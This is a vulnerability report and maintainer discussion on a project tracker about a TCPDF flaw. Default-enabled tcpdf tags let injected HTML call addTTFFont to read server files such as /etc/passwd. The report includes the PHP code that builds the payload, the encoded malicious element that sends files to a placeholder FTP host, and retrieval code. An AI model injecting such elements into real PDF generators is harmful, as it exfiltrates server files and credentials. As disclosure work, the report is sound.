Menu

#1005 Security Report, LFI posting internal files externally abusing default parameter

v1.0_(example)
closed
nobody
None
1
2017-01-07
2014-12-10
No

Hi,
While doing a security assessment for a client we discovered an issue with the default parameters for TCPDF. We were also able to create a working PoC that would upload files from the server generating PDF-files to an external FTP, making us able to retrieve internal server files.

I have created a short movie showing the scenario. First, I validate that I can inject HTML-code into the PDF. I then create a malicious tcpdf-element, using the K_TCPDF_CALLS_IN_HTML which is default set to true. This TCPDF-call is using the addTTFFont-method. This method takes the following parameters which is relevant to this attack:

$fontfile
$fonttype
$outpath

The $fontfile should be the file you want to grab from the server, in my PoC I'm using /etc/passwd and /etc/hosts, but this could be files used for the current running web service, source code etc. For the client that was vulnerable, we used their ini-files for the database connection to show them this was an urgent issue.

The $fonttype-parameter needs to be set to TrueType for the attack to work.

The $outpath parameter is the location where you want to place the file. Since the files are gzcompressed, we haven't found a way to create a real RCE out if this vulnerability, however, by injecting a ftp-location, the file will be uploaded remotely.

This is the vulnerable code:

include/tcpdf_fonts.php:

105                 $font = file_get_contents($fontfile);

363                 $fmetric['file'] .= '.z';
364                 $fp = fopen($outpath.$fmetric['file'], 'wb');
365                 fwrite($fp, gzcompress($font));
366                 fclose($fp);

As you see here, it'll first take the $fontfile, which in our case is the /etc/passwd-file. It'll add a .z-prefix to it and send it to the $outpath together with the $file-value, which in this case is passwd.z.

By generating a tcpdf-element using the following code:

$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));

this will result in the following vulnerable element:

<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D" />

If we're able to inject this in a TCPDF-enabled PDF-generator we'll fetch their file remotely. Using the following code in our end:

print @gzuncompress(file_get_contents('ftp://user:pass@host/passwd.z'));

We'll be able to read the content.

All this is because the following parameter is turned on by default in config/tcpdf_config.php:

213                 define('K_TCPDF_CALLS_IN_HTML', true);

It actually says this in the comment above:
"IMPORTANT: For security reason, disable this feature if you are printing user HTML content."
But as we've seen, this is not common sense.

We're suggesting that this should be set as false by default. We also think that the addTTFFont-function should not be possible to use at all using the tcpdf-element. An alternative solution would be to patch the function so no files could be accessible outside of the fonts-directory, nor sent anywhere else except that directory, so only files inside the fonts-directory could be generated.

I have attached PoC-code that will generate the malicious element and generate a PDF out of it. I'll also include a PoC-movie showing the scenario when a PDF-generator is vulnerable.

Regards,
Frans Rosén
www.detectify.com

2 Attachments

Discussion

  • Nicola Asuni

    Nicola Asuni - 2014-12-10

    Thank you for reporting this issue.
    I fixed this in TCPDF 6.2.0.
    The constant K_TCPDF_CALLS_IN_HTML is now set by default to false.
    Ddeprecated methods were removed from the TCPDF class, including addTTFFont().
    Calls to fopen() where replaced with a method that only support the local filesystem.
    The serializeTCPDFtagParameters() method now works only if invoked using the same TCPDF instance.

     
  • Nicola Asuni

    Nicola Asuni - 2014-12-10
    • status: open --> closed
     
  • Frans Rosén

    Frans Rosén - 2014-12-10

    Hi,
    Thanks for the quick reply and fix! I double checked and still noticed that the
    K_TCPDF_CALLS_IN_HTML
    is still set to true inside config/tcpdf_config.php in this release:
    https://sourceforge.net/projects/tcpdf/files/tcpdf_6_2_0.zip/download

    213 define('K_TCPDF_CALLS_IN_HTML', true);

     
  • Nicola Asuni

    Nicola Asuni - 2017-01-07
    • private: Yes --> No
     

Log in to post a comment.